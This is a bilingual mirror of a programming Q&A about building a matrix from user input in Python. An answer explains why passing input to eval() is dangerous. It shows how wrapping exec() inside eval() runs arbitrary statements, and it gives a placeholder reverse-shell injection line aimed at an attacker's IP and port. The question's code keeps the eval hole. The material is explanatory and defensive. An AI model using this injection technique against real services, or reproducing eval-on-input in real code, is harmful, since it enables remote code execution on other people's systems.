简体   繁体   English

矩阵 - 从用户输入创建矩阵(行)

[英]Matrix - create matrix from user input(rows)

i want to create matrix from user input like this: enter image description here我想像这样从用户输入创建矩阵:在此处输入图像描述

this is my code:这是我的代码:

    flag = True
    while flag:
        num = int(input('enter matrix dimension:'))
        if num == 0:
            print('Finish')
            flag = False
        else:
            matrix = []
            for row in range(num):
                matrix.append([])
                for column in range(1):
                    value = eval(input('Enter elements in row with commas:'))
                    matrix[row].append(value)
            print (matrix)
            for row in range(len(matrix)):
                for column in range(len(matrix[row])):
                    print(matrix[row][column], end=" ")
                    print()
main()

the problem is that the type is tuple(i dont know why), and in the eval(input()) i cant put more arguments like num,row.问题是类型是元组(我不知道为什么),并且在 eval(input()) 中我不能放更多的参数,比如 num,row。 how can i fix this?我怎样才能解决这个问题?

As I played around a little with eval() , I want to elaborate on this a little more and explain to the OP and possible readers, why using eval() with user input is dangerous.当我玩了一下eval()时,我想再详细说明一下,并向 OP 和可能的读者解释为什么使用eval()和用户输入是危险的。


Eval let's you run expressions in form of strings, like "1+1" or code objects created with the builtin function compile() . Eval 让您以字符串的形式运行表达式,例如“1+1”或使用内置函数compile()创建的代码对象。

Example:例子:

>>> expression = "1+1"
>>> res = eval(expression)
>>> print(res)
2
>>> compiled_expression = compile(expression, "<string>", "eval")
>>> print(compiled_expression.co_code)
b'd\x00S\x00'
>>> res = eval(compiled_expression)
>>> print(res)
2

The expression can be everything, which has a return value.表达式可以是所有有返回值的东西。

>>> type(1+1)
<class 'int'>

>>> x = 42
>>> type(1 if x%2 == 0 else 1)
<class 'int'>

>>> type(print("Hi"))
Hi
<class 'NoneType'>

>>> type(import os)
  File "<bpython-input-42>", line 1
    type(import os)
         ^^^^^^
SyntaxError: invalid syntax

We're getting this syntax error, because the expression import os has no return value.我们得到这个语法错误,因为表达式import os没有返回值。 This means, we cannot import modules, but we can use all existing variables, constants, methods, classes and imported modules to craft an expression and call this expression via eval(...) .这意味着,我们不能导入模块,但我们可以使用所有现有的变量、常量、方法、类和导入的模块来制作一个表达式并通过eval(...)调用这个表达式。

From an attackers perspective, executing arbitrary code is kinda interesting.从攻击者的角度来看,执行任意代码有点意思。 Consider of using the above code in a backend of a server, where user input from the frontend will be thrown into the builtin eval() method to fill a matrix, which is then returned to the frontend.考虑在服务器的后端使用上面的代码,来自前端的用户输入将被扔到内置的eval()方法中以填充矩阵,然后将其返回到前端。 Could be a valid scenario if one creates an online matrix calculator or stuff like that.如果创建一个在线矩阵计算器或类似的东西,这可能是一个有效的场景。

The code, if not open-sourced, is a blind spot for the attacker.代码如果不开源,就会成为攻击者的盲点。 If modules like os , requests or subprocess are already imported in your application, he's lucky.如果您的应用程序中已经导入了osrequestssubprocess等模块,那么他很幸运。 If not, there isn't much an attacker can do.否则,攻击者无能为力。

How to trick eval() :如何欺骗eval()

You may have mentioned, that we can indeed call methods which have no return value at first glance.您可能已经提到,我们确实可以调用乍一看没有返回值的方法。 print(...) does not only print text to your screen, but also it returns something of type <class 'NoneType'> . print(...)不仅会在屏幕上打印文本,还会返回<class 'NoneType'>类型的内容。 Given that, we can also run another very interesting builtin method: exec() .鉴于此,我们还可以运行另一个非常有趣的内置方法: exec()

Exec is a little like eval() , but kind of much more powerful and thus more dangerous. Exec 有点像eval() ,但功能更强大,因此更危险。 With exec() , we can as well run code in form of strings or compiled code objects like in the example above.使用exec() ,我们也可以像上面的示例一样以字符串或编译代码对象的形式运行代码。 But in contrast to eval() , we do not have to run a statement with a return value.但与eval()相比,我们不必运行带有返回值的语句。 With eval() , we can only run expressions which we can assign to some sort of variable.使用eval() ,我们只能运行可以分配给某种变量的表达式。 With exec() , we can run any expression we want, independent of whether it has a return value or not.使用exec() ,我们可以运行任何我们想要的表达式,不管它是否有返回值。 And moreover, the result of the expression stays permanent in the current process.此外,表达式的结果在当前进程中保持不变。

Example :示例

>>> print(x)
Traceback (most recent call last):
  File "<input>", line 1, in <module>
    print(x)
NameError: name 'x' is not defined
>>> exec("x = 1 + 1")
>>> print(x)
2

Let's do the check, if exec(...) is a valid expression, which has a return value or not and whether we can run it from eval() .让我们检查一下,如果exec(...)是一个有效的表达式,它是否有返回值,以及我们是否可以从eval()运行它。

>>> type(exec("x = 1 + 1"))
<class 'NoneType'>

Indeed, we can.确实,我们可以。 With this little trick, we can now also run non-returning expressions from within eval() , like importing modules ...有了这个小技巧,我们现在还可以在eval()中运行非返回表达式,比如导入模块......

Exploiting such arbitrary code execution vulnerabilities can have many impacts.利用此类任意代码执行漏洞可能会产生许多影响。 The more or less harmless one is to simply crash the application because the input was not satisfied correctly.或多或少无害的一种方法是简单地使应用程序崩溃,因为输入未正确满足。 In terms of the mentioned matrix-calculator example, a row like posix.uname_result(sysname='Linux', nodename='redacted', release='5.10.105-1-MANJARO', version='#1 SMP PREEMPT Fri Mar 11 14:12:33 UTC 2022', machine='x86_64') would not make much sense.就提到的矩阵计算器示例而言,像posix.uname_result(sysname='Linux', nodename='redacted', release='5.10.105-1-MANJARO', version='#1 SMP PREEMPT Fri Mar 11 14:12:33 UTC 2022', machine='x86_64')没有多大意义。

Using requests , an attacker could also send data out before the script crashes.使用requests ,攻击者还可以在脚本崩溃之前发送数据。 Or he could change files on the system, install a backdoor and so on.或者他可以更改系统上的文件,安装后门等等。

Exploitation :开发

A successful exploitation could look like this:成功的利用可能如下所示: 使用 exec() 开发 eval()

(1) the attacker starts a listener on the attacking server. (1) 攻击者在攻击服务器上启动一个监听器。

(2) the attacker opens your online calculator (or in this case, the OP's script) (2) 攻击者打开你的在线计算器(或者在这种情况下是 OP 的脚本)

(3) the attacker inserts data (3) 攻击者插入数据

(4) when the attacker comes to the input, where eval() is used in the background, the code for spawning a reverse shell will be inserted like this: exec("""start_reverse_shell(ip=<attackers ip>, port=<attacker port>)""") (Note: start_reverse_shell() is not valid code, but I don't wanna post code for a reverse shell here ;) ) The script is now running the code, and as the provided statement has a return value, the current action is valid. (4) 当攻击者进入输入时,在后台使用eval()时,将插入生成反向 shell 的代码,如下所示: exec("""start_reverse_shell(ip=<attackers ip>, port=<attacker port>)""") (注意: start_reverse_shell()不是有效代码,但我不想在此处发布反向 shell 的代码;))脚本现在正在运行代码,并且提供的语句有返回值,当前动作有效。 The code for the reverse shell imports some modules and establishes a connection to the server of the attacker.反向 shell 的代码导入一些模块并建立与攻击者服务器的连接。

(5) The attacker has now access to the exploited server (as you can see from the output of "hostname" and "pwd"). (5) 攻击者现在可以访问被利用的服务器(从“hostname”和“pwd”的输出中可以看到)。

PS Please do NOT misuse possible vulnerabilities like this. PS请不要滥用这样的可能的漏洞。 Go for responsible disclosure and be happy about being such a good human being :)进行负责任的披露,并为成为这样一个好人而感到高兴:)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM